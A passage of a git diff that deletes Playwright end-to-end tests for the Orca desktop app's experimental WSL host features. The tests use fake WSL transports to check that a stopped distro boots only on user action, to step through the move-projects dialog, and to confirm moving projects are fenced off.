createDesktopMobilePairingOffer(desktop.page)) - const hostId = toRuntimeExecutionHostId(WSL_ENVIRONMENT_ID) - try { - const { page } = desktop - await setWslHostsEnabled(page, true) - await page.evaluate(() => window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' })) - expect(fakeWslConnects(connectLogFile).length).toBeGreaterThan(0) - - const socket = await phone.openSocket() - try { - // Listed beside the desktop's other servers, ready and with neither desktop-only flag. - await expect - .poll( - async () => - hostReach( - (await call(socket, 'mobileRelay.hosts.list', {}, HostsSchema)).hosts.find( - (host) => host.hostId === hostId - ) - ), - { timeout: 90_000 } - ) - .toEqual({ relay: 'ready', stopped: false, unavailable: false }) - - let rows: z.infer['worktrees'] = null - await expect - .poll( - async () => { - rows = ( - await call(socket, 'mobileRelay.hosts.worktrees', { hostId }, HostWorktreesSchema) - ).worktrees - return rows?.some((row) => row.hostId === hostId) ?? false - }, - { timeout: 90_000 } - ) - .toBe(true) - const project = rows!.find((row) => row.hostId === hostId)! - - // A tapped push names the same host the rows do, so it opens here rather than on the desktop. - expect( - notificationExecutionHostForOwner({ executionHostId: hostId, runtimeEnvironmentId: null }) - ).toBe(hostId) - const entries = await call( - socket, - 'files.readDir', - { worktree: `id:${project.worktreeId}`, relativePath: '' }, - DirectorySchema, - hostId - ) - expect(entries.map((entry) => entry.name)).toContain('README.md') - - const { tab } = await call( - socket, - 'session.tabs.createTerminal', - { - worktree: `id:${project.worktreeId}`, - activate: false, - select: false, - navigation: 'caller' - }, - CreatedTerminalSchema, - hostId - ) - expect(tab.terminal, 'the WSL host created the terminal').toBeTruthy() - - // An agent launch is served by the WSL host itself: it adds a terminal there. - const hubTerminals = async (): Promise => - TerminalListSchema.parse((await hub.call('terminal.list')).result).terminals.filter( - (terminal) => terminal.ptyId !== null && terminal.worktreeId === project.worktreeId - ).length - await expect.poll(hubTerminals, { timeout: 30_000 }).toBeGreaterThan(0) - const beforeLaunch = await hubTerminals() - const launch = await send( - socket, - 'agent.launch', - { agent: 'claude', target: { kind: 'existing', worktree: `id:${project.worktreeId}` } }, - hostId - ) - expect(launch.error?.code ?? 'ok').not.toBe('remote_runtime_unavailable') - await expect.poll(hubTerminals, { timeout: 30_000 }).toBeGreaterThan(beforeLaunch) - } finally { - socket.close() - } - - // The distro stops. A phone asking now is told to start it on the computer, and nothing starts. - writeFileSync(distrosFile, JSON.stringify([{ ...UBUNTU, state: 'stopped' }])) - const connectsBeforeStop = fakeWslConnects(connectLogFile) - const stopped = await phone.openSocket() - try { - const refused = await send(stopped, 'worktree.ps', { limit: 100 }, hostId) - expect(refused.ok).toBe(false) - expect(refused.error?.code).toBe('remote_runtime_unavailable') - await expect - .poll( - async () => - hostReach( - (await call(stopped, 'mobileRelay.hosts.list', {}, HostsSchema)).hosts.find( - (host) => host.hostId === hostId - ) - ), - { timeout: 30_000 } - ) - .toEqual({ relay: 'unavailable', stopped: true, unavailable: false }) - // A second refused call: anything a phone's call could start would have started by its answer. - const refusedAgain = await send(stopped, 'worktree.ps', { limit: 100 }, hostId) - expect(refusedAgain.error?.code).toBe('remote_runtime_unavailable') - expect(fakeWslConnects(connectLogFile)).toEqual(connectsBeforeStop) - // The fake boots a distro by rewriting this file, so it still reading stopped means nothing booted it. - expect( - z - .array(z.looseObject({ name: z.string(), state: z.string() })) - .parse(JSON.parse(readFileSync(distrosFile, 'utf8'))) - .find((entry) => entry.name === UBUNTU.name)?.state - ).toBe('stopped') - } finally { - stopped.close() - } - } finally { - phone.dispose() - await desktop.dispose() - rmSync(projectPath, { recursive: true, force: true }) - rmSync(distrosDir, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-host-terminal-start.spec.ts b/tests/e2e/wsl-host-terminal-start.spec.ts deleted file mode 100644 index c207e0e3ac8..00000000000 --- a/tests/e2e/wsl-host-terminal-start.spec.ts +++ /dev/null @@ -1,147 +0,0 @@ -/** - * Terminals on a WSL host whose distro stopped, with a fake WSL transport: the HUB stands in for - * the distro's orcad. Automatic retries never boot the distro (E9); the pane's Start and a New - * Terminal are the user acting on it, so each boots it. - */ -import { mkdtempSync, rmSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRuntimeDesktopPairingOffer } from './helpers/paired-electron-client' -import { callEnvironment } from './helpers/paired-host-terminal' -import { waitForSessionReady } from './helpers/store' -import { - createGitProject, - fakeWslConnects, - focusProject, - launchDesktopWithFakeWsl, - readDistroState, - RUNNING, - STOPPED, - WSL_ENVIRONMENT_ID, - writeDistros -} from './helpers/wsl-host-fake-desktop' - -async function openNewTerminal(page: Page): Promise { - await page.getByRole('button', { name: 'New tab', exact: true }).first().click() - await page - .getByRole('menu') - .getByRole('button', { name: /New Terminal/ }) - .first() - .click() -} - -test('a stopped WSL distro boots only for Start or New Terminal, never for a terminal retrying', async ({ - orcaPage: hub -}, testInfo) => { - // Two Electron apps, a host add, two distro stops and their boots. - test.setTimeout(300_000) - await waitForSessionReady(hub) - const offer = await createRuntimeDesktopPairingOffer(hub) - const fakeDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-terminal-fake-')) - const distrosFile = path.join(fakeDir, 'distros.json') - const connectLogFile = path.join(fakeDir, 'connects.log') - writeDistros(distrosFile, RUNNING) - const desktop = await launchDesktopWithFakeWsl( - { distros: RUNNING, distrosFile, connectLogFile, pairingCode: offer.pairingUrl }, - testInfo - ) - const projectPath = createGitProject() - try { - const { page } = desktop - await page.evaluate(async () => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - }) - const added = await page.evaluate(() => - window.api.runtimeEnvironments.wslHosts?.add({ distro: 'Ubuntu' }) - ) - expect(added, JSON.stringify(added)).toMatchObject({ ok: true }) - await callEnvironment(page, WSL_ENVIRONMENT_ID, 'repo.add', { path: projectPath, kind: 'git' }) - await expect.poll(() => focusProject(page, projectPath), { timeout: 60_000 }).toBeTruthy() - - const terminals = page.locator('.xterm') - // The tab bar's own action, awaited: a New Terminal still in flight when the distro stops is a - // user act and boots it, which is right but would land in the no-boot window below. - const activeGroupId = (): Promise => - page.evaluate(() => { - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - return worktreeId - ? (state.activeGroupIdByWorktree[worktreeId] ?? - state.groupsByWorktree[worktreeId]?.[0]?.id ?? - null) - : null - }) - await expect.poll(activeGroupId, { timeout: 60_000 }).not.toBeNull() - const groupId = await activeGroupId() - if (!groupId) { - throw new Error('The WSL workspace has no tab group to open a terminal in') - } - await page.evaluate( - (id) => window.__store?.getState().openNewTerminalTabInActiveWorkspace(id), - groupId - ) - await expect(page.locator('.xterm:visible')).toBeVisible({ timeout: 60_000 }) - - const stopDistro = async (): Promise => { - const connects = fakeWslConnects(connectLogFile).length - writeDistros(distrosFile, STOPPED) - await expect - .poll( - () => - callEnvironment(page, WSL_ENVIRONMENT_ID, 'files.readDir', { - worktree: `path:${projectPath}`, - relativePath: '' - }).then( - () => 'answered', - (error: unknown) => String(error) - ), - { timeout: 30_000 } - ) - .toContain('Ubuntu is stopped') - return connects - } - // The shown tab's card; a background tab's stays in the DOM, hidden. - const stoppedCard = page.locator( - `[data-terminal-wsl-host-stopped="${WSL_ENVIRONMENT_ID}"]:visible` - ) - - const connectsBeforeStart = await stopDistro() - await expect(stoppedCard.first()).toBeVisible({ timeout: 60_000 }) - await expect(stoppedCard.first()).toContainText('Ubuntu is stopped') - // Whatever the pane retries in the background must not boot the distro. - // ast-grep-ignore: test-no-real-time-wait -- the claim is that nothing boots over a window of real retries - await page.waitForTimeout(10_000) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStart) - expect(readDistroState(distrosFile)).toBe('stopped') - await page.screenshot({ path: testInfo.outputPath('wsl-host-terminal-stopped.png') }) - - await stoppedCard.first().getByRole('button', { name: 'Start', exact: true }).click() - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBe(connectsBeforeStart + 1) - await expect(stoppedCard).toHaveCount(0, { timeout: 60_000 }) - // One Start is one connect: a second would rerun the server's launch in the distro. - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeStart + 1) - await page.screenshot({ path: testInfo.outputPath('wsl-host-terminal-after-start.png') }) - - // New Terminal on the stopped host is the user acting on it too. - const connectsBeforeNewTerminal = await stopDistro() - await expect(stoppedCard.first()).toBeVisible({ timeout: 60_000 }) - const terminalCount = await terminals.count() - await openNewTerminal(page) - await expect - .poll(() => fakeWslConnects(connectLogFile).length, { timeout: 60_000 }) - .toBe(connectsBeforeNewTerminal + 1) - await expect.poll(() => terminals.count(), { timeout: 60_000 }).toBeGreaterThan(terminalCount) - await expect(stoppedCard).toHaveCount(0, { timeout: 60_000 }) - expect(fakeWslConnects(connectLogFile)).toHaveLength(connectsBeforeNewTerminal + 1) - await page.screenshot({ path: testInfo.outputPath('wsl-host-terminal-new-terminal.png') }) - } finally { - await desktop.dispose() - rmSync(fakeDir, { recursive: true, force: true }) - rmSync(projectPath, { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-move-dialog.spec.ts b/tests/e2e/wsl-move-dialog.spec.ts deleted file mode 100644 index 098ae913f83..00000000000 --- a/tests/e2e/wsl-move-dialog.spec.ts +++ /dev/null @@ -1,410 +0,0 @@ -/** - * The WSL move dialog against a fake move transport: no wsl.exe or distro in CI. Main's - * `wslMove:*` handlers are swapped for a scripted host, so the real dialog runs open preview → - * blockers → skip → start → progress → refusal → start again → moved → reload. - */ -import { execFileSync } from 'node:child_process' -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { - _electron as electron, - type ElectronApplication, - type Page -} from '@stablyai/playwright-test' -import { getE2ECompletedOnboardingProfile } from './helpers/e2e-completed-onboarding-profile' -import { getOrcaElectronLaunchArgs } from './helpers/electron-launch-args' -import { cleanupE2EDaemons, closeElectronAppForE2E } from './helpers/electron-process-shutdown' -import { createElectronHomeIsolation } from './helpers/electron-home-isolation' -import { expect, forwardElectronProcessLogs, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { encodePairingOffer } from '../../src/shared/remote-runtime/pairing/pairing' -import { addWslHostEnvironment } from '../../src/shared/remote-runtime/host-store/runtime-environment-wsl-host-operations' -import { WSL_HOSTS_INTERNAL_GATE_ENV } from '../../src/shared/remote-runtime/wsl-hosts/wsl-host-internal-gate' -import type { - WslMovePreview, - WslMoveProgressEvent, - WslMoveResult -} from '../../src/shared/wsl-move/wsl-move-driver-types' - -test.use({ seedTestRepo: false }) - -const DISTRO = 'Ubuntu' -const LEAF = '6f1c1d2e-3a4b-4c5d-8e9f-0a1b2c3d4e5f' -// Visual proof for the PR; outside the repo on purpose. -const PROOF_DIR = process.env.ORCA_D1B9_PROOF_DIR - -type Desktop = { app: ElectronApplication; page: Page; dispose: () => Promise } - -function createGitProject(name: string): string { - const dir = path.join(mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-move-')), name) - execFileSync('git', ['init', '-q', '-b', 'main', dir]) - writeFileSync(path.join(dir, 'README.md'), `# ${name}\n`) - execFileSync('git', ['-C', dir, 'add', '.']) - execFileSync( - 'git', - ['-C', dir, '-c', 'user.name=e2e', '-c', 'user.email=e2e@example.com', 'commit', '-qm', 'init'], - { stdio: 'ignore' } - ) - return dir -} - -async function launch( - testInfo: Parameters[1], - internalGate: boolean -): Promise { - const userDataDir = mkdtempSync(path.join(os.tmpdir(), 'orca-e2e-wsl-move-ui-')) - writeFileSync( - path.join(userDataDir, 'orca-data.json'), - `${JSON.stringify(getE2ECompletedOnboardingProfile(), null, 2)}\n` - ) - // A saved host for the distro; it never connects here, which the dialog does not need. - addWslHostEnvironment(userDataDir, { - id: 'wsl:ubuntu', - name: `${DISTRO} (WSL)`, - pairingCode: encodePairingOffer({ - v: 2, - endpoint: 'ws://127.0.0.1:9', - deviceToken: 'move-ui-token', - publicKeyB64: Buffer.alloc(32, 7).toString('base64') - }), - record: { - kind: 'wsl', - distro: DISTRO, - distroId: '0e3a7f2c-1b4d-4c5e-9f60-7a8b9c0d1e2f', - localPort: 9, - remotePort: 6768 - } - }) - const { ELECTRON_RUN_AS_NODE: _unused, ...cleanEnv } = process.env - void _unused - const isolation = createElectronHomeIsolation({ - inheritedEnv: cleanEnv, - launchEnv: {}, - extraEnv: { - [WSL_HOSTS_INTERNAL_GATE_ENV]: internalGate ? '1' : '0', - ORCA_E2E_FAKE_WSL_HOSTS: JSON.stringify({ - distros: [{ name: DISTRO, state: 'stopped', version: 2 }], - pairingCode: 'unused' - }) - }, - userDataDir - }) - const app = await electron.launch({ - args: getOrcaElectronLaunchArgs(path.join(process.cwd(), 'out', 'main', 'index.js'), false), - env: { ...isolation.env, NODE_ENV: 'development', ORCA_E2E_HEADLESS: '1' } - }) - forwardElectronProcessLogs(app, testInfo) - const dispose = async (): Promise => { - await closeElectronAppForE2E(app) - await cleanupE2EDaemons(userDataDir) - rmSync(userDataDir, { recursive: true, force: true, maxRetries: 20, retryDelay: 100 }) - } - try { - const page = await app.firstWindow({ timeout: 120_000 }) - await page.waitForLoadState('domcontentloaded') - await waitForSessionReady(page) - await page.evaluate(async () => { - const settings = await window.api.settings.set({ experimentalWslHosts: true }) - window.__store?.setState({ settings }) - }) - return { app, page, dispose } - } catch (error) { - await dispose() - throw error - } -} - -async function addProject(page: Page, projectPath: string): Promise { - const repoId = await page.evaluate(async (repoPath) => { - const result = await window.api.repos.add({ path: repoPath }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, projectPath) - await expect - .poll(() => - page.evaluate(async (id) => { - const store = window.__store - await store?.getState().fetchRepos({ runtimeEnvironmentId: null, throwOnError: true }) - return Boolean(store?.getState().repos.some((repo) => repo.id === id)) - }, repoId) - ) - .toBe(true) - return repoId -} - -/** The terminal tab of a project's main workspace, for a blocker that names one of its panes. */ -async function terminalTabOf(page: Page, repoId: string): Promise { - await expect - .poll(() => - page.evaluate(async (id) => { - const state = window.__store?.getState() - await state?.fetchWorktrees(id) - const worktree = window.__store?.getState().worktreesByRepo[id]?.[0] - if (worktree) { - window.__store?.getState().setActiveWorktree(worktree.id) - } - return Boolean(worktree) - }, repoId) - ) - .toBe(true) - await ensureTerminalVisible(page, 30_000) - return page.evaluate(() => { - const state = window.__store!.getState() - const tab = state.tabsByWorktree[state.activeWorktreeId!]?.[0] - if (!tab) { - throw new Error('Expected a terminal tab') - } - return tab.id - }) -} - -type FakeScript = { - distroPreview: WslMovePreview - selectionPreview: WslMovePreview - results: WslMoveResult[] -} - -/** The scripted host's state in Electron main, shared by the evaluate calls below. */ -type FakeMoveState = { - starts: unknown[] - pending: ((result: unknown) => void)[] - results: unknown[] - unfinished: unknown[] - cancelAllowed: boolean -} - -declare global { - // Set only in Electron main, by installFakeMove. - var __wslMoveFake: FakeMoveState | undefined -} - -/** Swaps main's move handlers for a scripted host; the renderer and its bridge stay real. */ -async function installFakeMove(app: ElectronApplication, script: FakeScript): Promise { - await app.evaluate(({ ipcMain }, fake) => { - const state: FakeMoveState = { - starts: [], - pending: [], - results: [...fake.results], - unfinished: [], - cancelAllowed: true - } - globalThis.__wslMoveFake = state - for (const channel of [ - 'wslMove:preview', - 'wslMove:start', - 'wslMove:cancel', - 'wslMove:listUnfinished' - ]) { - ipcMain.removeHandler(channel) - } - ipcMain.handle('wslMove:preview', (_event, request: { repoIds?: string[] }) => - request.repoIds ? fake.selectionPreview : fake.distroPreview - ) - ipcMain.handle('wslMove:start', (_event, request: unknown) => { - state.starts.push(request) - return new Promise((resolve) => state.pending.push(resolve)) - }) - ipcMain.handle('wslMove:cancel', () => state.cancelAllowed) - ipcMain.handle('wslMove:listUnfinished', () => state.unfinished) - }, script) -} - -async function sendProgress(app: ElectronApplication, event: WslMoveProgressEvent): Promise { - await app.evaluate(({ BrowserWindow }, progress) => { - for (const window of BrowserWindow.getAllWindows()) { - window.webContents.send('wslMove:progress', progress) - } - }, event) -} - -/** Ends the running start with the next scripted result. */ -async function finishStart(app: ElectronApplication, unfinished: unknown[] = []): Promise { - await app.evaluate((_electron, nextUnfinished) => { - const state = globalThis.__wslMoveFake - if (!state) { - throw new Error('installFakeMove did not run') - } - state.unfinished = nextUnfinished - state.pending.shift()?.(state.results.shift()) - }, unfinished) -} - -async function settle(page: Page): Promise { - // Finite animations only: spinners run forever; dialog fades do not. - await page.waitForFunction(() => - document - .getAnimations() - .every( - (animation) => - animation.playState !== 'running' || - animation.effect?.getComputedTiming().iterations === Infinity - ) - ) -} - -async function proof( - page: Page, - testInfo: Parameters[1], - name: string -): Promise { - await settle(page) - const file = `wsl-move-${name}.png` - await page.screenshot({ path: testInfo.outputPath(file) }) - if (PROOF_DIR) { - await page.screenshot({ path: path.join(PROOF_DIR, file) }) - } -} - -async function openServersPane(page: Page): Promise { - await page.evaluate(() => { - const state = window.__store?.getState() - state?.openSettingsPage() - state?.openSettingsTarget({ pane: 'servers', repoId: null }) - }) - await expect(page.locator('[data-settings-section="wsl-hosts"]')).toBeVisible({ timeout: 30_000 }) -} - -// oxlint-disable-next-line no-empty-pattern -- Playwright passes fixtures before testInfo. -test('moves projects through preview, blockers, progress and result', async ({}, testInfo) => { - // Two git projects are created, previewed and moved through every dialog step. - test.setTimeout(240_000) - const apiPath = createGitProject('payments-api') - const webPath = createGitProject('web-app') - const desktop = await launch(testInfo, true) - const { app, page } = desktop - try { - const apiId = await addProject(page, apiPath) - const webId = await addProject(page, webPath) - const webTab = await terminalTabOf(page, webId) - const ready = { - outcome: 'ready' as const, - distro: DISTRO, - changed: [], - heldByHost: [], - refused: [{ kind: 'repo' as const, id: 'drive-repo', reason: 'windows-drive' }] - } - await installFakeMove(app, { - distroPreview: { - ...ready, - repoIds: [apiId, webId], - folderWorkspaceIds: [], - blockers: [ - { kind: 'process-running', ids: [`${webTab}:${LEAF}`], actions: ['end', 'skip-project'] } - ] - }, - selectionPreview: { ...ready, repoIds: [apiId], folderWorkspaceIds: [], blockers: [] }, - results: [ - { outcome: 'refused', code: 'wsl_move_pause_failed', detail: 'sleep' }, - { - outcome: 'moved', - migrationId: 'move-1', - phase: 'retained', - reloadRequired: true, - automationsPending: ['nightly-triage'] - } - ] - }) - - // Entry: the WSL host row's menu in Settings → Servers. - await openServersPane(page) - const hosts = page.locator('[data-settings-section="wsl-hosts"]') - await hosts.getByRole('button', { name: `More actions for ${DISTRO} (WSL)` }).click() - const entry = page.getByRole('menuitem', { name: 'Move projects from this distro…' }) - await expect(entry).toBeVisible() - await proof(page, testInfo, 'host-row-menu') - await entry.click() - const dialog = page.getByTestId('wsl-move-dialog') - await expect( - dialog.getByRole('heading', { name: `Move projects to the ${DISTRO} host` }) - ).toBeVisible() - await expect(dialog.getByTestId('wsl-move-chats-stay')).toHaveText( - 'Existing chats stay on this computer. New chats in this project start on the WSL host.' - ) - await expect(dialog.getByRole('checkbox')).toHaveCount(2) - await expect( - dialog.getByText('Its folder is on a Windows drive, so it stays on this computer.') - ).toBeVisible() - const blockers = dialog.getByTestId('wsl-move-blockers') - await expect(blockers.getByText('A terminal is running a program')).toBeVisible() - await expect(dialog.getByRole('button', { name: 'Move 2 projects' })).toBeDisabled() - await proof(page, testInfo, 'blockers') - - // Skip the blocked project: the selection narrows and its preview is clear. - await blockers.getByRole('button', { name: 'Leave web-app out of this move' }).click() - await expect(blockers).toHaveCount(0) - const move = dialog.getByRole('button', { name: 'Move 1 project' }) - await expect(move).toBeEnabled() - await expect(dialog.getByTestId('wsl-move-counts')).toContainText('Projects: 1') - await proof(page, testInfo, 'preview') - - // First run: refused, with a plain message and a way back. - await move.click() - await expect(dialog.getByTestId('wsl-move-progress')).toBeVisible() - await finishStart(app) - await expect(dialog.getByTestId('wsl-move-result')).toHaveAttribute('data-outcome', 'refused') - await expect(dialog.getByText('could not pause the terminals')).toBeVisible() - await proof(page, testInfo, 'refusal') - await dialog.getByRole('button', { name: 'Back to projects' }).click() - await expect(dialog.getByRole('button', { name: 'Move 1 project' })).toBeEnabled() - - // Second run: progress steps and bytes, cancel only before the switch. - await dialog.getByRole('button', { name: 'Move 1 project' }).click() - await sendProgress(app, { distro: DISTRO, step: 'pausing-terminals', migrationId: 'move-1' }) - await sendProgress(app, { - distro: DISTRO, - step: 'copying', - migrationId: 'move-1', - bytesSent: 14 * 1024 * 1024, - bytesTotal: 34 * 1024 * 1024 - }) - const progress = dialog.getByTestId('wsl-move-progress') - await expect(progress.locator('[data-state="active"]')).toHaveText('Copying') - await expect(dialog.getByText('14 MB of 34 MB')).toBeVisible() - await expect(dialog.getByRole('button', { name: 'Cancel move' })).toBeEnabled() - await proof(page, testInfo, 'progress') - // Closing only hides a running move; the entry point shows it again. - await page.keyboard.press('Escape') - await expect(dialog).toHaveCount(0) - await hosts.getByRole('button', { name: `More actions for ${DISTRO} (WSL)` }).click() - await page.getByRole('menuitem', { name: 'Move projects from this distro…' }).click() - await expect(dialog.getByTestId('wsl-move-progress')).toBeVisible() - await sendProgress(app, { distro: DISTRO, step: 'switching', migrationId: 'move-1' }) - await expect(dialog.getByRole('button', { name: 'Cancel move' })).toBeDisabled() - - await finishStart(app, [ - { migrationId: 'move-1', distro: DISTRO, automationsPending: ['nightly-triage'] } - ]) - await expect(dialog.getByTestId('wsl-move-result')).toHaveAttribute('data-outcome', 'moved') - await expect(dialog.getByTestId('wsl-move-automations-pending')).toBeVisible() - await page.keyboard.press('Escape') - await expect(dialog).toBeVisible() - await proof(page, testInfo, 'success') - expect(await app.evaluate(() => globalThis.__wslMoveFake?.starts)).toEqual([ - { distro: DISTRO, repoIds: [apiId], folderWorkspaceIds: [], sleptPanes: [] }, - { distro: DISTRO, repoIds: [apiId], folderWorkspaceIds: [], sleptPanes: [] } - ]) - - // Reload goes through restart preparation and lands a fresh page. - const navigated = page.waitForEvent('framenavigated', { timeout: 60_000 }) - await dialog.getByRole('button', { name: 'Reload now' }).click() - await navigated - await page.waitForLoadState('domcontentloaded') - await page.waitForFunction(() => Boolean(window.__store), null, { timeout: 60_000 }) - await waitForSessionReady(page) - await expect(page.getByTestId('wsl-move-dialog')).toHaveCount(0) - - // The automations still off show under the host until it confirms. - await openServersPane(page) - await expect(page.getByTestId('wsl-move-unfinished')).toContainText( - `One automation moved to the ${DISTRO} host is still off.` - ) - await proof(page, testInfo, 'unfinished-notice') - } finally { - await desktop.dispose() - rmSync(path.dirname(apiPath), { recursive: true, force: true }) - rmSync(path.dirname(webPath), { recursive: true, force: true }) - } -}) diff --git a/tests/e2e/wsl-move-fence.spec.ts b/tests/e2e/wsl-move-fence.spec.ts deleted file mode 100644 index 985dd9da7bc..00000000000 --- a/tests/e2e/wsl-move-fence.spec.ts +++ /dev/null @@ -1,231 +0,0 @@ -/** - * The WSL move fence on a real desktop: a journal written beside the profile, as a move would, - * must make the moving projects (a folder and a repo) refuse new terminals while they stay listed, - * and once the host owns them, take them out of the project and worktree lists. Other projects - * keep working throughout. A move interrupted before it could ask the host to commit is undone - * at the next launch instead. - */ -import { execFileSync } from 'node:child_process' -import { mkdirSync, mkdtempSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { wslMoveCutoverFixture } from '../../src/main/persistence/__fixtures__/wsl-mover/wsl-move-cutover-fixture' -import { - listWslMoveCutovers, - writeWslMoveCutover -} from '../../src/main/persistence/moving-wsl-projects/cutover-recovery/wsl-move-cutover-journal' -import { - WSL_MOVE_CUTOVER_PHASES, - type WslMoveCutoverPhase -} from '../../src/shared/wsl-move/wsl-move-cutover' - -test.use({ seedTestRepo: false }) - -async function createFolders(page: Page, folders: { name: string; folderPath: string }[]) { - return page.evaluate(async (entries) => { - const state = window.__store!.getState() - const ids: string[] = [] - for (const entry of entries) { - const group = await window.api.projectGroups.create({ - name: entry.name, - parentPath: entry.folderPath, - createdFrom: 'folder-scan' - }) - await state.fetchProjectGroups({ runtimeEnvironmentId: null, throwOnError: true }) - const workspace = group - ? await state.createFolderWorkspace( - { projectGroupId: group.id, ...entry }, - { runtimeEnvironmentId: null } - ) - : null - if (!workspace) { - throw new Error(`Could not create folder workspace ${entry.name}`) - } - ids.push(workspace.folderWorkspace.id) - } - return ids - }, folders) -} - -async function addRepo(page: Page, repoPath: string): Promise { - return page.evaluate(async (path) => { - const result = await window.api.repos.add({ path }) - if ('error' in result) { - throw new Error(result.error) - } - return result.repo.id - }, repoPath) -} - -/** The spawn's outcome as the renderer sees it: a pty id, or the refusal message. */ -async function spawnIn(page: Page, worktreeId: string, cwd: string): Promise { - return page.evaluate( - async ({ id, cwd }) => { - try { - const result = await window.api.pty.spawn({ - cols: 80, - rows: 24, - cwd, - worktreeId: id, - initiallyHidden: true - }) - await window.api.pty.kill(result.id) - return 'spawned' - } catch (error) { - return error instanceof Error ? error.message : String(error) - } - }, - { id: worktreeId, cwd } - ) -} - -/** An edit's outcome as the renderer sees it: 'saved', 'ignored' (dropped quietly) or the refusal. */ -async function edit( - page: Page, - target: { worktreeId: string } | { folderWorkspaceId: string }, - updates: Record -): Promise { - return page.evaluate( - async ({ target, updates }) => { - try { - const result = - 'worktreeId' in target - ? await window.api.worktrees.updateMeta({ worktreeId: target.worktreeId, updates }) - : await window.api.folderWorkspaces.update({ - folderWorkspaceId: target.folderWorkspaceId, - updates - }) - return result ? 'saved' : 'ignored' - } catch (error) { - return error instanceof Error ? error.message : String(error) - } - }, - { target, updates } - ) -} - -async function listed(page: Page) { - return page.evaluate(async () => { - // Why repos first: the repo catalog is the moved-project fence; worktrees are listed per catalog repo. - const repos = (await window.api.repos.list()).map((repo) => repo.id) - const listings = await Promise.all( - repos.map((repoId) => window.api.worktrees.listDetected({ repoId })) - ) - return { - folders: (await window.api.folderWorkspaces.list()).map((workspace) => workspace.id), - repos, - worktrees: listings.flatMap((result) => - result.worktrees.filter((worktree) => worktree.visible).map((worktree) => worktree.repoId) - ) - } - }) -} - -test('a WSL move journal fences the moving project, then hides it once the host owns it', async (// oxlint-disable-next-line no-empty-pattern -- Playwright requires destructuring to request no fixtures. -{}, testInfo) => { - const root = mkdtempSync(join(tmpdir(), 'orca-wsl-move-fence-')) - const folders = ['Moving notes', 'Staying notes'].map((name) => { - const folderPath = join(root, name) - mkdirSync(folderPath) - return { name, folderPath } - }) - const repoPath = join(root, 'moving-repo') - mkdirSync(repoPath) - const gitIdentity = ['-c', 'user.name=e2e', '-c', 'user.email=e2e@example.invalid'] - execFileSync('git', ['init', '-q', '-b', 'main'], { cwd: repoPath }) - execFileSync('git', [...gitIdentity, 'commit', '-q', '--allow-empty', '-m', 'init'], { - cwd: repoPath - }) - const session = createRestartSession(testInfo) - let launched: Awaited> | undefined - try { - launched = await session.launch() - await waitForSessionReady(launched.page) - const [movingId, stayingId] = await createFolders(launched.page, folders) - const repoId = await addRepo(launched.page, repoPath) - const repoWorktreeId = `${repoId}::${repoPath}` - await session.close(launched.app) - launched = undefined - - const record = (phase: WslMoveCutoverPhase) => - wslMoveCutoverFixture( - 'move-1', - phase, - {}, - { repoIds: [repoId], folderWorkspaceIds: [movingId] } - ) - const expectMovingRefused = async (page: Page, spawnRefusal: string) => { - expect(await spawnIn(page, `folder:${movingId}`, folders[0].folderPath)).toContain( - spawnRefusal - ) - expect(await spawnIn(page, repoWorktreeId, repoPath)).toContain(spawnRefusal) - expect(await spawnIn(page, `folder:${stayingId}`, folders[1].folderPath)).toBe('spawned') - // A user's edit is refused; background bookkeeping is dropped quietly, never an error. - expect( - await edit(page, { worktreeId: repoWorktreeId }, { displayName: 'Renamed' }) - ).toContain('moving to its WSL host') - expect( - await edit(page, { folderWorkspaceId: movingId }, { name: 'Renamed notes' }) - ).toContain('moving to its WSL host') - expect( - await edit(page, { worktreeId: repoWorktreeId }, { isUnread: true, lastActivityAt: 1 }) - ).toBe('ignored') - expect(await edit(page, { folderWorkspaceId: stayingId }, { name: 'Still mine' })).toBe( - 'saved' - ) - } - - // The journal only moves forward one phase at a time, as a real move writes it. - let journaled = -1 - const advanceTo = (phase: WslMoveCutoverPhase) => { - const target = WSL_MOVE_CUTOVER_PHASES.indexOf(phase) - for (journaled += 1; journaled <= target; journaled += 1) { - writeWslMoveCutover(session.userDataDir, record(WSL_MOVE_CUTOVER_PHASES[journaled])) - } - journaled = target - } - - // No commit can exist before blobs-transferred, so startup recovery lifts the record. - advanceTo('source-fenced') - launched = await session.launch() - await waitForSessionReady(launched.page) - expect(listWslMoveCutovers(session.userDataDir)).toEqual([]) - expect(await spawnIn(launched.page, `folder:${movingId}`, folders[0].folderPath)).toBe( - 'spawned' - ) - await session.close(launched.app) - launched = undefined - - // A commit may exist from here; with no host to ask, recovery keeps the fence. - journaled = -1 - advanceTo('blobs-transferred') - launched = await session.launch() - await waitForSessionReady(launched.page) - await expectMovingRefused(launched.page, 'moving to its WSL host') - const whileMoving = await listed(launched.page) - expect(whileMoving.folders).toEqual(expect.arrayContaining([movingId, stayingId])) - expect(whileMoving.repos).toContain(repoId) - expect(whileMoving.worktrees).toContain(repoId) - await session.close(launched.app) - launched = undefined - - advanceTo('destination-committed') - launched = await session.launch() - await waitForSessionReady(launched.page) - await expectMovingRefused(launched.page, 'now runs on its Ubuntu WSL host') - const owned = await listed(launched.page) - expect(owned.folders).toContain(stayingId) - expect(owned.folders).not.toContain(movingId) - expect(owned.repos).not.toContain(repoId) - } finally { - if (launched) { - await session.close(launched.app) - } - await session.dispose() - rmSync(root, { recursive: true, force: true }) - } -}) diff --git 